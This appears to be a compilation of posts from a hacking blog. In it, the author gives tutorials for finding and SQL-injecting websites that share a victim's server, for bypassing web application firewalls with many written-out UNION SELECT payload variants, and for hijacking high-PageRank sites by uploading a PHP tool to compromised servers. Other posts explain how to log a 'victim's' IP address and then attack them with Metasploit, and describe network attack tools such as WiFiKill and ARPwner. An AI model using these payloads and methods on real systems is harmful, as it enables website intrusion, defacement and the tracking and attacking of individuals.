How To Hack Targeted Server ?

How To Hack Your Victim’s Website ?

umm.. in this post i’ll tell you how to hack your victim’s website easily ;D

This method is very well-known method , used by around every hacker..

This Method Is Also Known As Reverse IP Hacking

In this method we will try to get access to other websites hosted on Same Server

Let the Game Begin ;D

First of all get the website you want to hack and than open CMD ( Command Prompt)

Open Start Menu => Run => type cmd in box

Or Simply Press Windows Logo Button + R 

than type cmd in box

Now type ping website address and hit enter

than you’ll get I.P Address of the website 

now goto bing.com and type

ip:xxx.xxx.xxx.xxx .php?id= 

replace xxx with I.P Address 🙂

it will give you all the websites hosted on the server 

now you can check them for SQL injection vulnerability…

Note:- After Getting Access Dont Forget To BUZZ The Serer ;D

kidsec.com

Zaid Sparrow

Advance WAF ByPassing Techiques

How To Bypass Forbidden Error SQL Injection

Today I am going to show you how to bypass Web Application Firewalls (WAF).

Let’s Begin!

How to know if there is a Web Application Firewall?

This is pretty simple! When you try to enter a command used for SQL Injections (usually the “UNION SELECT” command), you get an 403 Error (and the website says “Forbidden” or “Not Acceptable”).

Example:

Code:

http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4....
(We get a 403 Error!)

Basic/Simple Methods:

First, of course, we need to know the Basic Methods to bypass WAF…

1) Comments:
You can use comments to bypass WAF:

Code:

Code:

http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4....
(First Method that can Bypass WAF)

However, most WAF identify this method so they still show a “Forbidden” Error…

2) Change the Case of the Letters:
You can also change the Case of the Command:

Code:

Code:

http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4....
(Another Basic Method to Bypass WAF!)

However, as before, this trick is also detected by most WAF!

3) Combine the previous Methods:

What you can also do is to combine the previous two methods:

Code:

Code:

http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4....
This method is not detectable by many Web Application Firewalls!

4) Replaced Keywords:

Some Firewalls remove the “UNION SELECT” Statement when it is found in the URL… We can do this to exploit this function:

Code:

Code:

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4....
(The "union" and the "select" will be removed, so the final result will be: "UNION SELECT" 😀 )

This method doesn’t work on ALL Firewalls, as only some of them remove the “UNION” and the “SELECT” commands when they are detected!

5) Inline Comments (Thanks to Crysan):
Some firewalls get bypassed by Inserting Inline Comments between the “Union” and the “Select” Commands:
Code:

Code:

http://www.site.com/index.php?page_id=-15 UnION/**/SElecT 1,2,3,4...
(The U is equal to "U" and S to "S". See more on the Advanced Section....)

I believe that these are the most basic Methods to WAF Bypassing! Let’s move on more advanced ones…

Advanced Methods:

Now that you have learned about Basic WAF Bypassing, I think it is good to understand more advanced Methods!

1) Buffer Overflow / Firewall Crash:
Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow!

Code:

Code:

http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4....

(( You can test if the WAF can be crashed by typing:
?page_id=null
/**//*!50000UnIOn*//*yoyu*/all/**/
/*!SeLEct*/
/*nnaa*/+1,2,3,4....

If you get a 500, you can exploit it using the Buffer Overflow Method! :: Thanks Crysan for the Test))

2) Replace Characters with their HEX Values (Thanks to Crysan!):
We can replace some characters with their HEX (URL-Encoded) Values.

Example:
Code:

Code:

http://www.site.com/index.php?page_id=-15 /*!union*/ /*!select*/ 1,2,3,4....
(which means "union select")

Text to Hex Encoder (Choose the “Hex Encoded for URL” result!): http://www.swingnote.com/tools/texttohex.php

3) Use other Variables or Commands instead of the common ones for SQLi:
Apart from the “UNION SELECT” other commands might be blocked.
Common Commands Blocked:Code:

Code:

COMMAND | WHAT TO USE INSTEAD

@@version | version()
concat() | concat_ws() --> Difference between concat() and concat_ws(): http://is.gd/VEeiDU
group_concat() | concat_ws()

[!]-> You can also try to SQL Inject with the NAME_CONST Method: http://is.gd/o10i0d (Created by Downfall)
Learning MySQL Really helps on such issues! 😉

4) Misc Exploitable Functions:
Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):
Example:
The firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:

Code:

Code:

http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4...
(If the Firewall removes the "*", the result will be: 15+union+select....)

So, if you find such a silly function, you can exploit it, in this way! 😀

[+] In addition to the previous example, some other bypasses might be:

Code:

-15+(uNioN)+(sElECt)....

-15+(uNioN+SeleCT)+...

-15+(UnI)(oN)+(SeL)(ecT)+....

-15+union (select 1,2,3,4...)

tut Is not Written By Me , Every Credits Goes To Author ~

Kidsec.com

BlackHat SEO – Get High Page Rank 4 Or 5

BlackHat SEO

The Fastest Way to Get Your Blog/Website Go BooM BooM…

But everything has some benefits and some losses..

But BlackHat SEO , has more losses than Benefits 🙂

umm i think 

” Losses = 10 Benefits = 4 “

Ok First Lemme Tell You What BlackHat SEO is?

BlackHat SEO is a branch of SEO 😀 its 100% illegal 

In BlackHat SEO , webmasters use illegal techniques to trick search engines and get their web/blog on Top its very fast and quicky..

Few Content Here

Content Spam 

Keyword Stuffing

Hidden Or Invisible Text

Meta-Tag Stuffing

Doorway Pages

Article Spinning

Link Spam

Link Building Softwares

Page Hijacking

etc..

You Can Read Full HERE

There Are 3 Kinds Of SEO

1- WhiteHat SEO

2 – BlackHat SEO

3 – GreyHat SEO (Mix SEO)

WhiteHat SEO is Slow But Best 😉

BlackHat SEO is Fast but id you are using it than your blog will be Penalized

GreyHat SEO is mixture Of WhiteHat SEO And BlackHat SEO

umm. now lemme come straight to my point ;D

Getting High PR Using BlackHat SEO

Its Not Actually BlackHat SEO umm but it will be count in BlackHat SEO

r00t@T4p10N:~# Requirements –

1- Knowledge Of SQL Injection HERE

2- Havij -If YOu Dont Know SQL- HERE

4- WebRoot PHP Tool HERE

4- Patience ~

What You Have To Do?

 Try to hack into webservers and than upload Webroot PHP tool 

than you have to make symlink to The HIGH PR websites..

Just Upload Webroot PHP Tool and Click On Domains & Username & Page Rank Tab

Find Any PR Websites => Symlink => Add Your Link => Check After 2 Weeks

You Must Have Around 7 Backlinks From HIGH Page Rank Websites !!!

Thats All 😉

Kidsec.com

Zaid Sparrow ~

How To Get Someone’s IP Address Easily [New Way]

How To Get the I.P Address Of Your Victim ?

Welcome Guys , In This Post I’ll Tell You 

 Extremely Easy Way To Get Someone’s I.P Address 😀

Let Me First Explain 

What Is I.P Address

Source : WikiPedia

An Internet Protocol address (IP address) is a numerical label assigned to each device (e.g., computer, printer) participating in a computer network that uses the Internet Protocol for communication^. An IP address serves two principal functions: host or network interface identification and location addressing. Its role has been characterized as follows: “A name indicates what we seek. An address indicates where it is. A route indicates how to get there.

What Is your IP Address ?

 To Find It Just Simply Type In GooGle

ip address

Ok Lets Start ;D

r00t@T4p10N:~# Requirements~

1- Victim

2- Wapka.mobi Account

To Find Someone’s I.P Address Just Simply create account on wapka.mobi

Wapka.mobi is a free hosting website it gives you 4mb of storage.

after creating your website , your website will look like 

username.wapka.mobi

just send it to any one when he/she clicks on your website his/her IP Address will be logged 😀

.You can get the Logged IP Address from Admin Panel of Your Website …

Admin Panel => Stats => Daily ;D

Enjoy ;D

Zaid Sparrow

Kidsec.com 

How To Get Someone’s I.P Through Blogger ?

How To Get Someone’s IP Address Through Blogger ?

How To Find Someone’s IP Address using Blogger ?

How To Find Someone’s IP Address Via Blogger ? huh..

Problem Is Solved Now 😀 xP 😛

In this post i’ll tell you how to get someones IP address easily 😀

root@T4p10N:~# Requirements :~

Blogger

Disqus Comments 

Here Is The LINK

Victim ;D

Ok Lets Start 😉

First of all install Disqus Comments in Blogger and set its settings as normal..

but set Comment Moderation => YES Or Always it means whenever someone comment on your blog than the comment must be approved by Admin or Moderator…

 make a Good Post on Blogger and tell your Victim to Comment on the Post..

When He/She will comment on the Blog Post you’ll be notified by email..

Something Like This ~

Now you have the IP of your Damn Victim 😀 

umm what will you do now ? FOREVER ALONE 😀

well you can attack him/her by using Metasploit DB_AUTOPWN 😀

In My Up-Coming Post , I’ll Tell You Easy And Fantastic Way To Get Someone’s IP Address 😀 xP

Written By Zaid Sparrow

Thank You 😉

Kidsec.com

WiFiKill v1.7 – WiFi EjeCtOr

If you want to disable any ip address which use same router to connect internet. Now you can used your android application, WifiKill use as can disable internet connection for a device on the same network. This is alternate version of NETCUT for Android. Simply allows you to scan your wifi network for devices, see their vendor and cut network connection for specified devices. This way you can get rid of network hoggers. It gives option to redirect HTTP traffic to specific IP, this feature can be used even to do phishing smartly. Changelog: – fixed the counter bug (I hope for the last time) – added an option to redirect HTTP traffic to specific IP (caution! this may lead to significant CPU load) – now successful kills are tagged by green icon on the left of IP (this is not 100% correct) 

Download this application from LINK 1 or LINK 2 – 

Network Security Toolkit v2.16.0-4104 Released

The Network Security Toolkit is bootable ISO live CD/DVD (NST Live) is based on Fedora. The toolkit was designed to provide easy access to best-of-breed Open Source Network Security Applications and should run on most x86/x86_64 platforms. 

he main intent of developing this toolkit was to provide the network security administrator with a comprehensive set of Open SourceNetwork Security Tools. An advanced Web User Interface (WUI) is provided for system administration, navigation, automation and configuration of many network and security applications found within the Network Security Toolkit distribution.

In the virtual world, NST can be used as a network security analysis, validation and monitoring tool on enterprise virtual servers hosting virtual machines. Network Security Toolkit also makes an excellent tool to help one with crash recovery troubleshooting scenarios and diagnostics.

Download Network Security Toolkit v2.16.0-4104

Yaptest – Penetration Framework

It is a penetration testing framework that helps automate the boring parts of pentests.Yaptest aims to make it easy for a pentester to automate parts of testing on the fly. This is particularly useful when testing very large networks. Below are some examples of tasks which would be easy to automate using yaptest:

• Run nikto on anything nmap thinks is an HTTP service
• Run hydra on every host with TCP port 21 open
• Attempt upload a file to any TFTP servers found
• Run onesixtyone on all hosts that are up
• Try metasploit’s solaris_kcms_readfile exploit against any hosts running kcmsd

Yaptest is the glue between your favourite tools and the knowledge base gathered during your pentest. It handles all the mundane stuff that can easily be automated and leaves you free to get on with owning boxes demonstrating risk using techniques that yaptest doesn’t know about yet.

Download Yaptest

ARPwner – 2Side Poisoning Tool

ARPwner was released at BlackHat USA 2012 by Nicolas Trippar. It is a tool to do arp poisoning and dns poisoning attacks, with a simple gui and a plugin system to do filtering of the information gathered, also has a implementation of sslstrip and is coded 100% in python, so you can modify on your needs.

Download ARPwner

Volatility 2.2 Framework –

The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) samples. The extraction techniques are performed completely independent of the system being investigated but offer unprecedented visibilty into the runtime state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory samples and provide a platform for further work into this exciting area of research.

Windows Basic

• Current date, time, CPU count, CPU speed, service pack
• Current thread and idle thread
• Addresses of the KDBG, KPCR, DTB, PsActiveProcessHead, PsLoadedModuleList, etc

Processes

• List active processes (column or tree view)
• Scan for hidden or terminated _EPROCESS objects (using pool tags or _DISPATCHER_HEADER)
• Enumerate DLLs in the PEB LDR lists
• Rebuild/extract DLLs or EXEs to disk based on name, base address, or physical offset
• Print open handles to files, registry keys, mutexes, threads, processes, etc
• List security identifiers (SIDs) for processes
• Scan for cmd.exe command history and full console input/output buffers
• List process environment variables
• Print PE version information from processes or DLLs (file version, company name, etc)
• Enumerate imported and exported API functions anywhere in process or kernel memory
• Show a list of virtual and physical mappings of all pages available to a process
• Dump process address space to disk as a single file
• Analyze Virtual Address Descriptor (VAD) nodes, show page protection, flags, and mapped files
• Represent the VAD in tree form or Graphviz .dot graphs
• Dump each VAD range to disk for inspecting with external tools
• Parse XP/2003 event log records

Miscellaneous

• Link strings found at physical offsets to their owning kernel address or process
• Interactive shell with disassembly, type display, hexdumps, etc
• And Much More , More Than Your Imagination ~

Download Volatility 2.2